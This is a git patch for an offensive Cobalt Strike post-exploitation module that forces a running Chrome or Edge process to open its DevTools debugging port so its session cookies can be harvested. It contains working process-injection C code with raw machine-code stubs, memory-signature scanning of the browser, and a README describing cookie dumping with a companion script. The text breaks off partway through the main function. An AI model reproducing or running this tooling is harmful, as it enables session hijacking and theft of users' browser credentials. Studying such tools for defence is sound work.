From 7dc31433994ca73d5f7d2254665bf8980c5213ba Mon Sep 17 00:00:00 2001 From: KingOfTheNOPs Date: Tue, 21 Apr 2026 20:49:26 -0400 Subject: [PATCH] Initial Commit --- Makefile | 16 + README.md | 125 ++++++- beacon.h | 61 ++++ cdp_enable_bof.c | 800 +++++++++++++++++++++++++++++++++++++++++ cdp_enable_bof.cna | 47 +++ find_cdp_inputs.py | 161 +++++++++ find_start_server.py | 100 ++++++ grab_cookies.py | 83 +++++ pe_signature_finder.py | 793 ++++++++++++++++++++++++++++++++++++++++ 9 files changed, 2185 insertions(+), 1 deletion(-) create mode 100644 Makefile create mode 100644 beacon.h create mode 100644 cdp_enable_bof.c create mode 100644 cdp_enable_bof.cna create mode 100644 find_cdp_inputs.py create mode 100644 find_start_server.py create mode 100644 grab_cookies.py create mode 100644 pe_signature_finder.py diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..dee269b --- /dev/null +++ b/Makefile @@ -0,0 +1,16 @@ +CC=x86_64-w64-mingw32-gcc +OBJCOPY=x86_64-w64-mingw32-objcopy +CFLAGS=-O2 -c -Wall -Wextra -fno-asynchronous-unwind-tables -fno-unwind-tables -fno-exceptions -fno-stack-protector +INCLUDES=-I . +OUT=cdp_enable_bof.o + +.PHONY: all clean + +all: $(OUT) + +$(OUT): cdp_enable_bof.c + $(CC) $(CFLAGS) -o $@ $< $(INCLUDES) + $(OBJCOPY) --remove-section .pdata --remove-section .xdata --remove-section .eh_frame $@ + +clean: + rm -f $(OUT) diff --git a/README.md b/README.md index d22ca0e..3bf0658 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,125 @@ # CDP-Enable-BOF -Beacon Object File to Enable Chrome DevTools Protocol (CDP) + +`CDP-Enable-BOF` is an x64 BOF that enables the Chrome DevTools Protocol in a +running `msedge.exe` or `chrome.exe` process + +Based on [CDP-Enable](https://github.com/deathflamingo/CDP-Enabler/) and [Modern Session Hijacking by Living off the DevTools Protocol by Cedric Van Bockhaven](https://specterops.io/so-con/) + +## Usage + +```text +cdp_enable <9000-65535> +``` + +## How It Works + +- finds the requested live browser process and its top-level window +- locates the loaded browser module (`msedge.dll` or `chrome.dll`) +- reads the module’s PE headers and sections from the remote process +- resolves these internal symbols at runtime using masked byte signatures: + - `StartRemoteDebuggingServer` + - `operator new` + - `TCPServerSocketFactory::CreateForHttpServer` + - `TCPServerSocketFactory` vtable +- allocates two small remote stubs plus a context block +- temporarily installs a remote window procedure +- triggers that window procedure on the browser UI thread +- calls `StartRemoteDebuggingServer` on the requested port + +Running the final internal call on the browser UI thread is the key trick that +makes this reliable in the presence of CFG / TLS / CET-sensitive execution. + + +## Validate + +Use the bundled Python script to prove CDP is up and reachable: + +```powershell +python .\grab_cookies.py --port 9001 --output cookies.json +``` + +If CDP is working, the script will: + +- resolve the browser websocket from `http://127.0.0.1:9001/json/version` +- connect to the websocket +- dump cookies to `cookies.json` + +Optional domain filter: + +```powershell +python .\grab_cookies.py --port 9001 --domain microsoft.com --output ms_cookies.json +``` + +## Common Issue + +Issue: "Failed to resolve symbol signatures" + +Cause: Edge version mismatch - signatures are version-specific +Solution: See "Finding New Signatures" below + +Tested Chrome Version: 147.0.7727.102 +Tested Edge Version: 147.0.3912.72 + +## Finding New Signatures + +The finder scripts are still included because they are useful for: + +- validating new signatures +- checking symbol drift across browser versions +- reverse engineering / troubleshooting + +### Pull the DLLs + +Typical browser DLL locations: + +```powershell +Copy-Item "$env:ProgramFiles\\Google\\Chrome\\Application\\chrome.dll" . +Copy-Item "${env:ProgramFiles(x86)}\\Microsoft\\Edge\\Application\\msedge.dll" . +``` + +### Pull the matching PDBs + +For Chrome: + +```powershell +& 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe' /v chrome.dll /s srv*C:\symbols*https://chromium-browser-symsrv.commondatastorage.googleapis.com +``` + +For Edge: + +```powershell +symchk /v /ocx edge-symchk.txt /s SRV*c:\symbols*https://msdl.microsoft.com/download/symbols .\msedge.dll +``` + +### Run the scripts + +Find `StartRemoteDebuggingServer`: + +```powershell +python .\find_start_server.py .\chrome.dll .\chrome.dll.pdb +python .\find_start_server.py .\msedge.dll .\msedge.dll.pdb +``` + +Find the supporting inputs: + +```powershell +python .\find_cdp_inputs.py .\chrome.dll .\chrome.dll.pdb +python .\find_cdp_inputs.py .\msedge.dll .\msedge.dll.pdb +``` + +These scripts emit: + +- `StartRemoteDebuggingServer` +- `operator new` +- `TCPServerSocketFactory::CreateForHttpServer` +- derived `TCPServerSocketFactory` vtable + +## Notes + +- x64 only +- tested with both `msedge.exe` and `chrome.exe` +- the BOF only targets the browser you explicitly pass as an argument +- the current Chrome resolver uses a stronger masked `CreateForHttpServer` + signature to avoid false positives across patch-level browser changes + + diff --git a/beacon.h b/beacon.h new file mode 100644 index 0000000..3613159 --- /dev/null +++ b/beacon.h @@ -0,0 +1,61 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Cobalt Strike 4.1. + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_ERROR 0x0d +#define CALLBACK_OUTPUT_UTF8 0x20 + +DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); diff --git a/cdp_enable_bof.c b/cdp_enable_bof.c new file mode 100644 index 0000000..425abed --- /dev/null +++ b/cdp_enable_bof.c @@ -0,0 +1,800 @@ +/* + * CDP-Enabler-BOF + * + * Self-resolving BOF that enables CDP in a running Edge or Chrome instance + * without relying on hardcoded RVAs. Installs a temporary remote WndProc + * so StartRemoteDebuggingServer runs on the browser UI thread. + * + * Arguments: + * + * browser = "edge" or "chrome" + * port = integer 9000-65535 + */ + +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "beacon.h" + +WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD); +WINBASEAPI BOOL WINAPI KERNEL32$Process32FirstW(HANDLE, LPPROCESSENTRY32W); +WINBASEAPI BOOL WINAPI KERNEL32$Process32NextW(HANDLE, LPPROCESSENTRY32W); +WINBASEAPI BOOL WINAPI KERNEL32$Module32FirstW(HANDLE, LPMODULEENTRY32W); +WINBASEAPI BOOL WINAPI KERNEL32$Module32NextW(HANDLE, LPMODULEENTRY32W); +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); +WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE); +WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); +WINBASEAPI BOOL WINAPI KERNEL32$VirtualFreeEx(HANDLE, LPVOID, SIZE_T, DWORD); +WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); +WINBASEAPI BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD); +WINBASEAPI BOOL WINAPI KERNEL32$GetExitCodeThread(HANDLE, LPDWORD); +WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void); +WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(void); +WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); +WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); +WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR); +WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR); +WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR); +WINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO); + +WINUSERAPI HWND WINAPI USER32$FindWindowA(LPCSTR, LPCSTR); +WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND, HWND, LPCSTR, LPCSTR); +WINUSERAPI DWORD WINAPI USER32$GetWindowThreadProcessId(HWND, LPDWORD); +WINUSERAPI HWND WINAPI USER32$GetParent(HWND); +WINUSERAPI BOOL WINAPI USER32$IsWindowVisible(HWND); +WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND, UINT, WPARAM, LPARAM); + +WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*); + +#define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot +#define Process32FirstW KERNEL32$Process32FirstW +#define Process32NextW KERNEL32$Process32NextW +#define Module32FirstW KERNEL32$Module32FirstW +#define Module32NextW KERNEL32$Module32NextW +#define OpenProcess KERNEL32$OpenProcess +#define CloseHandle KERNEL32$CloseHandle +#define VirtualAllocEx KERNEL32$VirtualAllocEx +#define VirtualFreeEx KERNEL32$VirtualFreeEx +#define WriteProcessMemory KERNEL32$WriteProcessMemory +#define ReadProcessMemory KERNEL32$ReadProcessMemory +#define CreateRemoteThread KERNEL32$CreateRemoteThread +#define WaitForSingleObject KERNEL32$WaitForSingleObject +#define GetExitCodeThread KERNEL32$GetExitCodeThread +#define GetLastError KERNEL32$GetLastError +#define GetProcessHeap KERNEL32$GetProcessHeap +#define HeapAlloc KERNEL32$HeapAlloc +#define HeapFree KERNEL32$HeapFree +#define GetModuleHandleW KERNEL32$GetModuleHandleW +#define LoadLibraryW KERNEL32$LoadLibraryW +#define GetProcAddress KERNEL32$GetProcAddress +#define GetSystemInfo KERNEL32$GetSystemInfo +#define FindWindowA USER32$FindWindowA +#define FindWindowExA USER32$FindWindowExA +#define GetWindowThreadProcessId USER32$GetWindowThreadProcessId +#define GetParent USER32$GetParent +#define IsWindowVisible USER32$IsWindowVisible +#define SendMessageA USER32$SendMessageA +#define lstrcmpiW MSVCRT$_wcsicmp + +#define WM_START_CDP_REMOTE (WM_USER + 0x2451) + +typedef struct { + UINT64 hwnd; + UINT64 new_wndproc; + UINT64 set_window_long_ptr_a; + UINT64 old_wndproc; +} INSTALL_CTX; + +typedef struct { + UINT64 old_wndproc; + UINT64 set_window_long_ptr_a; + UINT64 start_remote_debugging_server; + UINT64 chrome_new; + UINT64 factory_vtable; + UINT32 port; + UINT32 mode; +} WNDPROC_CTX; + +typedef struct { + const char* browser_name; + const wchar_t* process_name; + const wchar_t* module_name_w; + const uint8_t* start_sig; + const uint8_t* start_mask; + size_t start_sig_len; + const uint8_t* entry1_sig; + const uint8_t* entry1_mask; + size_t entry1_sig_len; +} TARGET_CFG; + +static const unsigned char INSTALL_STUB[] = { + 0x53, + 0x48, 0x83, 0xEC, 0x20, + 0x48, 0x89, 0xCB, + 0x48, 0x8B, 0x0B, + 0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF, + 0x4C, 0x8B, 0x43, 0x08, + 0x48, 0x8B, 0x43, 0x10, + 0xFF, 0xD0, + 0x48, 0x89, 0x43, 0x18, + 0x31, 0xC0, + 0x48, 0x83, 0xC4, 0x20, + 0x5B, + 0xC3 +}; + +static const unsigned char WNDPROC_STUB_TEMPLATE[] = { + 0x53, + 0x48, 0x83, 0xEC, 0x70, + 0x48, 0xBB, + 0,0,0,0,0,0,0,0, + 0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF, + 0x4C, 0x8B, 0x03, + 0x48, 0x8B, 0x43, 0x08, + 0xFF, 0xD0, + 0x48, 0xC7, 0xC1, 0x10, 0x00, 0x00, 0x00, + 0x48, 0x8B, 0x43, 0x18, + 0xFF, 0xD0, + 0x48, 0x89, 0x44, 0x24, 0x20, + 0x31, 0xC9, + 0x48, 0x89, 0x48, 0x08, + 0x48, 0x8B, 0x4B, 0x20, + 0x48, 0x89, 0x08, + 0x66, 0x8B, 0x4B, 0x28, + 0x66, 0x89, 0x48, 0x08, + 0x31, 0xC9, + 0x48, 0x89, 0x4C, 0x24, 0x28, + 0x48, 0x89, 0x4C, 0x24, 0x30, + 0x48, 0x89, 0x4C, 0x24, 0x38, + 0x48, 0x89, 0x4C, 0x24, 0x40, + 0x48, 0x89, 0x4C, 0x24, 0x48, + 0x48, 0x89, 0x4C, 0x24, 0x50, + 0x48, 0x8D, 0x4C, 0x24, 0x20, + 0x48, 0x8D, 0x54, 0x24, 0x28, + 0x4C, 0x8D, 0x44, 0x24, 0x40, + 0x44, 0x8B, 0x4B, 0x2C, + 0x48, 0x8B, 0x43, 0x10, + 0xFF, 0xD0, + 0x31, 0xC0, + 0x48, 0x83, 0xC4, 0x70, + 0x5B, + 0xC3 +}; + +static const uint8_t EDGE_START_SIG[] = { + 0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57, + 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, + 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, + 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, + 0x48, 0x8B, 0x05, 0x9D +}; + +static const uint8_t CHROME_START_SIG[] = { + 0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53, + 0x48, 0x83, 0xEC, 0x48, + 0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6, + 0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE, + 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00 +}; + +static const uint8_t CHROME_START_MASK[] = { + 1,1,1,1,1,1,1,1, + 1,1,1,1, + 1,1,1,1,1,1, + 1,1,1,1,1,1, + 1,1,1,0,0,0,0 +}; + +/* Short unique operator new signature. */ +static const uint8_t OPERATOR_NEW_SIG[] = { + 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xEB +}; +static const uint8_t OPERATOR_NEW_MASK[] = { + 1,1,1,1,1,1,1,1,1,1 +}; + +static const uint8_t VTABLE_ENTRY0_SIG[] = { + 0x56, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x89, 0xCE, + 0xF6, 0xC2, 0x01, 0x74, 0x08, 0x48, 0x89, 0xF1, + 0xE8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF0, + 0x48, 0x83, 0xC4, 0x20, 0x5E, 0xC3 +}; +static const uint8_t VTABLE_ENTRY0_MASK[] = { + 1,1,1,1,1,1,1,1, + 1,1,1,1,1,1,1,1, + 1,0,0,0,0,1,1,1, + 1,1,1,1,1,1 +}; + +/* Edge and Chrome each get their known-unique CreateForHttpServer signature. */ +static const uint8_t EDGE_ENTRY1_SIG[] = { + 0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48 +}; + +static const uint8_t CHROME_ENTRY1_SIG[] = { + 0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53, + 0x48, 0x81, 0xEC, 0x88, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xD6, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x31, 0xE0, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, + 0x0F, 0xB7, 0x59, 0x08, 0xB9, 0x38, 0x00, 0x00, 0x00, + 0xE8, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00 +}; + +static const uint8_t CHROME_ENTRY1_MASK[] = { + 1,1,1,1,1,1,1,1, + 1,1,1,1,1,1,1, + 1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1, + 1,1,1,1,1,1,1,1,1, + 1,0,0,0,0, + 1,1,1,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0 +}; + +static void bof_memcpy(void* dst, const void* src, SIZE_T len) { + SIZE_T i; + unsigned char* d = (unsigned char*)dst; + const unsigned char* s = (const unsigned char*)src; + for (i = 0; i < len; i++) d[i] = s[i]; +} + +static void bof_memset(void* dst, int c, SIZE_T len) { + SIZE_T i; + unsigned char* d = (unsigned char*)dst; + for (i = 0; i < len; i++) d[i] = (unsigned char)c; +} + +static void PatchQword(unsigned char* buf, SIZE_T off, UINT64 value) { + bof_memcpy(buf + off, &value, sizeof(value)); +} + +static int ascii_equals_literal(const char* s, int len, const char* lit) { + int i = 0; + if (!s || !lit) return 0; + while (i < len && s[i] && lit[i]) { + if (s[i] != lit[i]) return 0; + i++; + } + if (lit[i] != 0) return 0; + if (i < len && s[i] != 0) return 0; + return 1; +} + +static BOOL IsBrowserProcess(DWORD pid) { + HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL); + while (hwnd) { + DWORD window_pid = 0; + GetWindowThreadProcessId(hwnd, &window_pid); + if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) { + return TRUE; + } + hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL); + } + return FALSE; +} + +static DWORD FindBrowserProcess(const wchar_t* target_proc_name) { + HANDLE hSnapshot; + PROCESSENTRY32W pe; + DWORD browser_pid = 0; + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) return 0; + + bof_memset(&pe, 0, sizeof(pe)); + pe.dwSize = sizeof(pe); + if (Process32FirstW(hSnapshot, &pe)) { + do { + if (lstrcmpiW(pe.szExeFile, target_proc_name) == 0) { + if (IsBrowserProcess(pe.th32ProcessID)) { + browser_pid = pe.th32ProcessID; + break; + } + } + } while (Process32NextW(hSnapshot, &pe)); + } + CloseHandle(hSnapshot); + return browser_pid; +} + +static HWND FindBrowserWindowForPid(DWORD pid) { + HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL); + while (hwnd) { + DWORD window_pid = 0; + GetWindowThreadProcessId(hwnd, &window_pid); + if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) { + return hwnd; + } + hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL); + } + return NULL; +} + +static BOOL GetRemoteModule(DWORD pid, const wchar_t* module_name, uintptr_t* base_out, DWORD* size_out) { + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid); + MODULEENTRY32W me; + BOOL ok = FALSE; + + if (snap == INVALID_HANDLE_VALUE) return FALSE; + bof_memset(&me, 0, sizeof(me)); + me.dwSize = sizeof(me); + if (Module32FirstW(snap, &me)) { + do { + if (lstrcmpiW(me.szModule, module_name) == 0) { + *base_out = (uintptr_t)me.modBaseAddr; + *size_out = me.modBaseSize; + ok = TRUE; + break; + } + } while (Module32NextW(snap, &me)); + } + CloseHandle(snap); + return ok; +} + +static BOOL GetRemoteSystemProc(DWORD pid, const wchar_t* module_name, const char* proc_name, uintptr_t* out_addr) { + HMODULE local_mod = GetModuleHandleW(module_name); + FARPROC local_proc; + uintptr_t local_rva; + uintptr_t remote_base; + DWORD remote_size; + + if (!local_mod) local_mod = LoadLibraryW(module_name); + if (!local_mod) return FALSE; + local_proc = GetProcAddress(local_mod, proc_name); + if (!local_proc) return FALSE; + local_rva = (uintptr_t)local_proc - (uintptr_t)local_mod; + if (!GetRemoteModule(pid, module_name, &remote_base, &remote_size)) return FALSE; + *out_addr = remote_base + local_rva; + return TRUE; +} + +static BOOL GetRemoteSectionInfo(HANDLE hProcess, uint8_t* module_base, + uint8_t** text_base, SIZE_T* text_size, + uint8_t** rdata_base, SIZE_T* rdata_size) { + IMAGE_DOS_HEADER dos; + IMAGE_NT_HEADERS64 nt; + IMAGE_SECTION_HEADER section; + SIZE_T read = 0; + DWORD i; + uint8_t* section_hdr; + + if (!ReadProcessMemory(hProcess, module_base, &dos, sizeof(dos), &read) || read != sizeof(dos)) + return FALSE; + if (dos.e_magic != IMAGE_DOS_SIGNATURE) + return FALSE; + + if (!ReadProcessMemory(hProcess, module_base + dos.e_lfanew, &nt, sizeof(nt), &read) || read != sizeof(nt)) + return FALSE; + if (nt.Signature != IMAGE_NT_SIGNATURE) + return FALSE; + + section_hdr = module_base + dos.e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + nt.FileHeader.SizeOfOptionalHeader; + *text_base = NULL; + *rdata_base = NULL; + + for (i = 0; i < nt.FileHeader.NumberOfSections; i++) { + if (!ReadProcessMemory(hProcess, section_hdr + (i * sizeof(IMAGE_SECTION_HEADER)), + §ion, sizeof(section), &read) || read != sizeof(section)) + continue; + + if (section.Name[0] == '.' && section.Name[1] == 't' && section.Name[2] == 'e' && + section.Name[3] == 'x' && section.Name[4] == 't') { + *text_base = module_base + section.VirtualAddress; + *text_size = section.Misc.VirtualSize; + } else if (section.Name[0] == '.' && section.Name[1] == 'r' && section.Name[2] == 'd' && + section.Name[3] == 'a' && section.Name[4] == 't' && section.Name[5] == 'a') { + *rdata_base = module_base + section.VirtualAddress; + *rdata_size = section.Misc.VirtualSize; + } + } + + return (*text_base != NULL && *rdata_base != NULL); +} + +static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size, + const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len) { + const SIZE_T chunk = 0x10000; + SIZE_T offset = 0; + uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len); + if (!buf) return NULL; + + while (offset < size) { + SIZE_T to_read = size - offset; + SIZE_T read = 0, end, i; + if (to_read > chunk) to_read = chunk; + + if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) { + offset += chunk; + continue; + } + + end = read - sig_len; + for (i = 0; i <= end; i++) { + BOOL match = TRUE; + SIZE_T j; + for (j = 0; j < sig_len && match; j++) { + if (!mask || mask[j]) { + if (buf[i + j] != sig[j]) match = FALSE; + } + } + if (match) { + void* found = start + offset + i; + HeapFree(GetProcessHeap(), 0, buf); + return found; + } + } + offset += chunk; + } + + HeapFree(GetProcessHeap(), 0, buf); + return NULL; +} + +static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size, + const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len, + uint64_t* out_matches, int max_matches) { + const SIZE_T chunk = 0x10000; + SIZE_T offset = 0; + int count = 0; + uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len); + if (!buf) return 0; + + while (offset < size && count < max_matches) { + SIZE_T to_read = size - offset; + SIZE_T read = 0, end, i; + if (to_read > chunk) to_read = chunk; + + if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) { + offset += chunk; + continue; + } + + end = read - sig_len; + for (i = 0; i <= end && count < max_matches; i++) { + BOOL match = TRUE; + SIZE_T j; + for (j = 0; j < sig_len && match; j++) { + if (!mask || mask[j]) { + if (buf[i + j] != sig[j]) match = FALSE; + } + } + if (match) { + out_matches[count++] = (uint64_t)(uintptr_t)(start + offset + i); + } + } + offset += chunk; + } + + HeapFree(GetProcessHeap(), 0, buf); + return count; +} + +static void* FindVtableInRdata(HANDLE hProcess, uint8_t* rdata_base, SIZE_T rdata_size, + uint64_t* destr_addrs, int destr_count, uint64_t entry1_addr, + uint8_t* text_base, SIZE_T text_size) { + const SIZE_T chunk = 0x10000; + SIZE_T offset = 0; + uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk); + if (!buf) return NULL; + + while (offset < rdata_size) { + SIZE_T to_read = rdata_size - offset; + SIZE_T read = 0, end, i; + if (to_read > chunk) to_read = chunk; + + if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) { + offset += chunk; + continue; + } + + end = (read >= 16) ? (read - 16) : 0; + for (i = 0; i <= end; i += 8) { + uint64_t first = *(uint64_t*)(buf + i); + uint64_t second = *(uint64_t*)(buf + i + 8); + if (second == entry1_addr && destr_count > 0) { + int di; + for (di = 0; di < destr_count; di++) { + if (first == destr_addrs[di]) { + void* found = rdata_base + offset + i; + HeapFree(GetProcessHeap(), 0, buf); + return found; + } + } + } + } + offset += chunk; + } + + if (destr_count <= 0) { + int hits = 0; + void* candidate = NULL; + + offset = 0; + while (offset < rdata_size) { + SIZE_T to_read = rdata_size - offset; + SIZE_T read = 0, end, i; + if (to_read > chunk) to_read = chunk; + + if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) { + offset += chunk; + continue; + } + + end = (read >= 16) ? (read - 16) : 0; + for (i = 0; i <= end; i += 8) { + uint64_t first = *(uint64_t*)(buf + i); + uint64_t second = *(uint64_t*)(buf + i + 8); + if (second == entry1_addr && + first >= (uint64_t)text_base && + first < (uint64_t)(text_base + text_size)) { + hits++; + candidate = rdata_base + offset + i; + if (hits > 1) break; + } + } + if (hits > 1) break; + offset += chunk; + } + + if (hits == 1) { + HeapFree(GetProcessHeap(), 0, buf); + return candidate; + } + } + + HeapFree(GetProcessHeap(), 0, buf); + return NULL; +} + +static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const TARGET_CFG* target, + uintptr_t* start_server, uintptr_t* chrome_new, uintptr_t* factory_vtable) { + uint8_t* text_base = NULL; + uint8_t* rdata_base = NULL; + SIZE_T text_size = 0, rdata_size = 0; + void* entry1 = NULL; + uint64_t destr_addrs[32]; + int destr_count = 0; + + if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) { + BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections"); + return FALSE; + } + + *start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len); + if (!*start_server) { + BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found"); + return FALSE; + } + + *chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG)); + if (!*chrome_new) { + BeaconPrintf(CALLBACK_ERROR, "[-] operator new signature not found"); + return FALSE; + } + + entry1 = ScanRemoteForSignature(hProcess, text_base, text_size, target->entry1_sig, target->entry1_mask, target->entry1_sig_len); + if (!entry1) { + BeaconPrintf(CALLBACK_ERROR, "[-] CreateForHttpServer signature not found"); + return FALSE; + } + + destr_count = ScanRemoteForAllSignatures( + hProcess, text_base, text_size, VTABLE_ENTRY0_SIG, VTABLE_ENTRY0_MASK, sizeof(VTABLE_ENTRY0_SIG), + destr_addrs, 32); + + *factory_vtable = (uintptr_t)FindVtableInRdata( + hProcess, rdata_base, rdata_size, destr_addrs, destr_count, (uint64_t)(uintptr_t)entry1, + text_base, text_size); + if (!*factory_vtable) { + BeaconPrintf(CALLBACK_ERROR, "[-] TCPServerSocketFactory vtable not found"); + return FALSE; + } + + return TRUE; +} + +void go(char* args, int len) { + TARGET_CFG targets[] = { + { "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) }, + { "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) } + }; + datap parser; + 